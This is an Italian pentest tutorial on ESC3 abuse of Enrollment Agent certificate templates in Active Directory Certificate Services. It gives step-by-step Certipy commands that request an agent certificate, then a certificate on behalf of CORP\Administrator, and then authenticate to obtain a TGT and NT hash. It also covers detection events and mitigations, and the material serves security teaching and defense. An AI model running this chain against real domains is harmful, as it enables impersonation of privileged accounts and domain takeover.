windows

ESC3 AD CS: Enrollment Agent e Active Directory Privesc

ESC3 AD CS: Enrollment Agent e Active Directory Privesc

Guida pratica a ESC3 in AD CS: enumera i template con Certipy, analizza i certificati Enrollment Agent e approfondisci la privilege escalation in Windows AD.

  • Pubblicato il 2026-03-07
  • Tempo di lettura: 6 min

ESC3 in Active Directory Certificate Services: abuso del Certificate Request Agent (Enrollment Agent) #

ESC3 è una tecnica di Active Directory Privilege Escalation tramite AD CS che sfrutta i certificati Enrollment Agent: un Enrollment Agent è un’identità autorizzata a richiedere certificati per conto di un altro utente, un meccanismo pensato originariamente per smart card e scenari di enrollment delegato.

Il punto che la bozza originale di questo articolo semplificava troppo: possedere un certificato Enrollment Agent non significa automaticamente poter richiedere certificati per qualsiasi account del dominio. La catena dipende anche da un secondo template (il target), dalle Enrollment Agent Restrictions eventualmente configurate sulla CA, e da requisiti di approvazione che possono bloccare la richiesta in qualsiasi punto.

Glossario rapido #

TermineSignificato in una riga
AD CSIl servizio di Active Directory che emette certificati digitali.
Enrollment Agent / Certificate Request AgentEKU (OID 1.3.6.1.4.1.311.20.2.1) che permette di firmare richieste di certificato per conto di un altro account.
Template agenteIl template da cui ottieni il certificato Enrollment Agent (fase 1).
Template targetIl template usato per richiedere il certificato finale a nome della vittima (fase 2) — deve a sua volta consentire l’autenticazione.
on-behalf-ofFlag di Certipy che usa il certificato agente per firmare una richiesta a nome di un altro account.
Enrollment Agent RestrictionsImpostazione a livello di CA (non di template) che limita quali agenti, quali template e quali soggetti target sono autorizzati — può bloccare l’attacco anche con un certificato agente valido.
Schema Version (template V1/V2+)I template V1 non hanno il concetto di firme autorizzate; i V2+ possono richiederle.
Authorized Signatures RequiredSui template V2+, il numero di certificati agente necessari a co-firmare una richiesta — se 0, basta un agente singolo.

Per i concetti base: Certipy: guida completa, EKU OID in AD CS: guida per il pentest. Per la tecnica strettamente correlata basata su EKU Any Purpose: ESC2.

Due certificati, due ruoli distinti #

Vale la pena chiarirlo prima di passare ai comandi, perché la bozza originale confondeva i due file:

  1. Template agente → produce attacker.pfx: il certificato con EKU Certificate Request Agent e la relativa chiave privata. Da solo non impersona nessuno.
  2. Richiesta on-behalf-of → usa attacker.pfx per firmare una richiesta contro il template target, rispettando le policy della CA.
  3. Certificato finale → produce administrator.pfx: il certificato emesso per il soggetto target, se la richiesta viene accettata. Solo questo, se valido e accettato dal KDC, permette di autenticarsi come quel soggetto.

Il possesso del primo file non garantisce di ottenere il secondo: in mezzo ci sono controlli della CA che possono fermare la catena.

Quando esiste ESC3: la checklist completa #

La bozza originale elencava tre condizioni generiche. Per capire se la catena è davvero percorribile servono più voci:

CondizioneDa verificarePerché conta
Template agente con EKU Certificate Request AgentDiritto Enroll per il tuo accountSenza questo non ottieni il certificato agente
Template agente pubblicato su una CA EnterprisePresente e abilitato, non solo definito in ADUn template non pubblicato non è richiedibile
Approvazione sul template agenteManager approval disabilitata, o richiesta già approvataUna richiesta pendente non è un certificato utilizzabile
Firme autorizzate sul template agenteAuthorized Signatures RequiredSe >0, può bloccare già la fase 1
Template target con EKU idoneo all’autenticazioneEs. Client AuthenticationIl certificato finale deve poter autenticare il soggetto previsto
Permessi di enrollment sul template targetIl tuo account (non la vittima) deve poterlo richiedereIl certificato agente non sostituisce le ACL di enrollment del target
Enrollment Agent Restrictions sulla CAQuali agenti/template/soggetti sono autorizzatiLa CA può bloccare la delega indipendentemente dal template
Approvazione sul template targetManager approval, firme richiesteAnche la seconda richiesta può essere sospesa o respinta
Trust e mapping dell’autenticazioneCatena CA attendibile, certificate mapping sul DCUn certificato emesso non garantisce da solo il logon

Template agente vs template target: Schema V1 contro V2+ #

Stessa distinzione fondamentale vista in ESC2: i template Schema Version 1 (es. i built-in User, Machine) non hanno il concetto di firme autorizzate nella stessa forma dei template successivi — per questo sono i target “classici” di ESC3. Ma Schema Version 1 non significa automaticamente vulnerabile: restano da verificare permessi, pubblicazione sulla CA e le Enrollment Agent Restrictions.

CaratteristicaTemplate Schema 1Template Schema 2+
Authorized Signatures RequiredNon supportato come nei template successiviConfigurabile, può richiedere più agenti
Controllo dell’EKU agente in emissioneMeno granulareVincolabile con Required Application Policies
Sfruttabilità ESC3Dipende comunque da permessi, CA e autenticazioneDipende anche dalle policy e dalle firme richieste

Identificazione con Certipy #

bash
certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -stdout

Sul template agente:

text
Template Name      : EnrollAgent
Enrollment Agent    : True
Extended Key Usage  : Certificate Request Agent

[!] Vulnerabilities
    ESC3 : Template has Certificate Request Agent EKU set

Sul possibile template target:

text
Template Name          : User
Client Authentication  : True
Schema Version         : 1

Remarks
    ESC3 Target Template

Da non dare per scontato: ESC3 Target Template nelle Remarks segnala un candidato, non una conferma che la catena sia completa — mancano ancora la verifica dei tuoi permessi effettivi di enrollment su quel template e delle Enrollment Agent Restrictions della CA, che certipy find da solo non sempre esaurisce.

Exploitation #

Step 1 — Ottenere il certificato Enrollment Agent

bash
certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template EnrollAgent
text
Successfully requested certificate
Saving certificate to attacker.pfx

Questo conferma solo che hai ottenuto il certificato agente — non ancora che potrai usarlo contro il target scelto.

Step 2 — Richiedere il certificato per Administrator usando l’agente

bash
certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template User \
  -pfx attacker.pfx \
  -on-behalf-of 'CORP\Administrator'

Due correzioni rispetto alla bozza originale:

  • 'CORP\Administrator' va tra apici singoli — senza quoting, Bash può alterare il backslash prima che raggiunga Certipy.
  • Il formato richiesto da Certipy è NOME_NETBIOS_DOMINIO\samAccountName (es. CORP\Administrator), non il nome DNS completo del dominio (corp.local\Administrator non è il formato corretto).
text
Successfully requested certificate
Saving certificate to administrator.pfx

Anche qui, il messaggio confirma solo che la CA ha accettato la richiesta on-behalf-of — non che il certificato risultante autenticherà con successo.

Step 3 — Verificare il certificato prima di autenticarti

Su Windows, con il certificato esportato:

cmd
certutil -dump administrator.cer

Controlla: il subject/SAN contiene davvero l’identità attesa, è presente il SID del soggetto (se la CA lo include), e l’EKU è compatibile con l’autenticazione.

Step 4 — Autenticazione

bash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
text
Got TGT
Got NT hash for 'administrator'

Tre esiti distinti, non uno solo #

EsitoCosa confirmaCosa NON confirma
Certificato finale emesso (Step 2)La richiesta on-behalf-of è stata accettata dalla CAChe il KDC accetterà il certificato per il logon
Got TGTL’autenticazione Kerberos è riuscita per l’identità previstaChe l’hash NT sia stato recuperato
Got NT hashÈ stata recuperata con successo quell’operazione aggiuntivaChe tu abbia accesso amministrativo su ogni sistema del dominio

L’impersonation di un account privilegiato può avere un impatto molto alto, ma non equivale automaticamente a una shell amministrativa ovunque: dipende dai privilegi reali del soggetto impersonato e da cosa quel contesto Kerberos permette di raggiungere.

Troubleshooting #

SintomoCosa verificare
Step 1 fallisceDiritto Enroll effettivo sul template agente, Manager Approval attivo, pubblicazione sulla CA target
Step 1 riesce ma Step 2 viene rifiutatoEnrollment Agent Restrictions sulla CA: può escludere il tuo account, il template agente o il template target indipendentemente da ACL e EKU
Step 2 fallisce con errore sulle firmeAuthorized Signatures Required > 0 sul template target V2+ — un singolo certificato agente non basta
-on-behalf-of viene rifiutato con errore di formatoVerifica di usare NETBIOS\samAccountName, tra apici singoli, non il FQDN del dominio
Certificato finale emesso ma certipy auth rifiuta l’autenticazionePossibile problema di certificate mapping sul DC, non di ESC3 — vedi ESC9, ESC10 o ESC16
TGT ottenuto ma non il recupero dell’hash NTSono due operazioni distinte (la seconda richiede un passo aggiuntivo tipo U2U) — non trattarlo come fallimento della catena

Detection #

Distingui tre livelli, come per ESC2:

1. Identificazione della misconfigurazione: certipy find come sopra — assessment, non detection di un abuso in corso.

2. Monitoraggio sulla CA:

EventoSignificato
4886Richiesta di certificato ricevuta
4887Certificato approvato ed emesso
4888Richiesta negata
4889Richiesta messa in sospeso (in attesa di approvazione)
4891 / 4892Modifica della configurazione della CA / delle proprietà — utile per rilevare chi ha allargato le Enrollment Agent Restrictions

Questi eventi richiedono l’auditing abilitato sia sul filtro della CA sia tramite Advanced Audit Policy del sistema operativo — e da soli non sono indicatori univoci di abuso: una richiesta on-behalf-of legittima (es. per smart card) genera eventi simili. Serve correlare richiedente, template e soggetto target, non limitarsi all’ID evento.

3. Verifica dell’impatto: quali certificati emessi tramite on-behalf-of hanno portato a un’autenticazione riuscita, e con quali privilegi.

Mitigation #

  1. Limitare l’enrollment sui template agente — non concederlo a Domain Users/Authenticated Users.
  2. Configurare le Enrollment Agent Restrictions sulla CA: questa è la mitigazione più diretta, non “usare template V2+” in generale. Limita esplicitamente quali principal possono fare da agente, su quali template target, e per quali soggetti.
  3. Abilitare Manager Approval su entrambi i template dove il processo lo consente.
  4. Sui template target V2+, impostare Authorized Signatures Required per richiedere più di un agente.
  5. Rimuovere dalla CA i template agente non più necessari — non serve eliminare i template V1 predefiniti (non è possibile farlo per i built-in), basta non pubblicarli se non servono.
  6. In caso di abuso confermato: individuare e revocare i certificati compromessi, e valutare la rotazione delle chiavi/account coinvolti in base all’incidente.

FAQ #

Cos’è ESC3? Una tecnica che sfrutta i certificati Enrollment Agent (EKU Certificate Request Agent) per richiedere certificati a nome di altri account, quando un template lo consente e non ci sono restrizioni bloccanti sulla CA.

Un Enrollment Agent può richiedere certificati per qualsiasi utente del dominio? No — solo per i soggetti permessi dalla combinazione di template target, permessi di enrollment, Enrollment Agent Restrictions della CA e requisiti di approvazione/firma.

ESC3 porta sempre a Domain Admin? Può, se esiste una catena completa fino a un account effettivamente privilegiato e l’autenticazione finale riesce — non è un risultato garantito dalla sola esistenza di un certificato agente.

ESC3 è simile a ESC2? Sì nello sfruttamento finale (richiesta on-behalf-of), ma diverso nell’origine: ESC2 nasce da un’EKU Any Purpose o vuota, ESC3 da un’EKU Certificate Request Agent esplicita su un template dedicato.

Perché certipy req riesce ma certipy auth fallisce? Spesso per problemi di certificate mapping sul Domain Controller, indipendenti da ESC3 — vale la pena controllare se è in gioco ESC9, ESC10 o ESC16.


Guida completa a tutte le tecniche ESC1–ESC16: AD CS Privilege Escalation con Certipy.

Fonti tecniche: Certipy — Privilege Escalation Wiki, SpecterOps / Ghostpack — ESC3: Misconfigured Certificate Request Agent.

#ESC3 AD CS #Enrollment Agent Abuse #Certificate Request Agent #AD CS On-Behalf-Of #Certipy

lascia un messaggio

Non sono un robot